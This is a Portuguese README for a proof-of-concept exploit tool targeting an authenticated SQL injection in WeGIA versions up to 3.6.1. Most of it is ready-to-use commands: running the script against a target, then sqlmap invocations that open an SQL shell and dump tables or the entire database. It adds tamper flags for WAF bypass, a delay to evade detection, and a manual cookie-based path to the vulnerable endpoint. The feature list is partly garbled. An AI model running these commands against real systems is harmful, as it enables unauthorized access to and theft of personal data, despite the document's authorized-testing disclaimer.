
Este é um script auxiliar leve em Python, projetado para automatizar a geração de arquivos PoC compatíveis com sqlmap para a vulnerabilidade de injeção SQL baseada em erro autenticada no WeGIA (≤ 3.6.1), identificada como GHSA-xfmp-2hf9-gfjp.
SQL Injection Autenticada Baseada em Erro no WeGIA ≤ 3.6.1
GHSA-xfmp-2hf9-gfjp | Aviso Oficial
Autor Original do POC / Relator: ViniCastro2001 GHSA Publicado por: nilsonLazarin (mantenedor do projeto)
Este script Python leve automatiza:
id_memorando=1*)--sql-shell)requests (a maioria dos ambientes de teste de penetração já a possui)git clone https://github.com/Ch35h1r3c47/CVE-2026-23723-POC.git
cd CVE-2026-23723-POC
# Recomendado: prompt interativo de senha
python CVE-2026-23723.py --url http://target.com -u admin
# Fornecer senha diretamente
python CVE-2026-23723.py --url http://target.com -u admin -p wegia
# Arquivo de saída personalizado
python CVE-2026-23723.py --url http://target.com -u admin -p wegia --output custom.req
Após a execução bem-sucedida, o script irá:
Tentar o login Gerar wegia_sqlmap.req (ou seu nome de arquivo personalizado) Exibir comandos sqlmap prontos para uso
# 1. Shell interativo estilo MySQL (mais recomendado)
sqlmap -r wegia_sqlmap.req --sql-shell --batch --dbms=mariadb
# 2. Mostrar banco de dados atual e todos os bancos
sqlmap -r wegia_sqlmap.req --current-db --dbs --batch
# 3. Listar tabelas no banco wegia
sqlmap -r wegia_sqlmap.req -D wegia --tables --batch
# 4. Extrair uma tabela específica (exemplo: funcionario)
sqlmap -r wegia_sqlmap.req -D wegia -T funcionario --dump --threads=2 --batch
# 5. Extrair todo o banco wegia (cuidado!)
sqlmap -r wegia_sqlmap.req -D wegia --dump-all --threads=3 --batch --output-dir=./dump
Flags opcionais do sqlmap:
--proxy=http://127.0.0.1:8080 (através de Burp/ZAP)
--tamper=space2comment,randomcase (bypass básico de WAF)
--delay=1 (desacelerar para evitar detecção)
Se o Login Automático Falhar Faça login manualmente via navegador → copie o cabeçalho Cookie completo → execute o sqlmap diretamente:
sqlmap -u "http://target.com/controle/control.php?nomeClasse=Atendido_ocorrenciaControle&metodo=listarTodosComAnexo&id_memorando=*" \
--cookie="PHPSESSID=xxxxxxxx; other_cookie=yyy" \
--sql-shell --batch
Aviso Legal Este PoC é fornecido apenas para fins educacionais e de teste de penetração autorizado. O uso não autorizado contra qualquer sistema é ilegal e proibido. O autor e os colaboradores não assumem responsabilidade por uso indevido ou qualquer dano causado. Referências
GHSA-xfmp-2hf9-gfjp CVE-2026-23723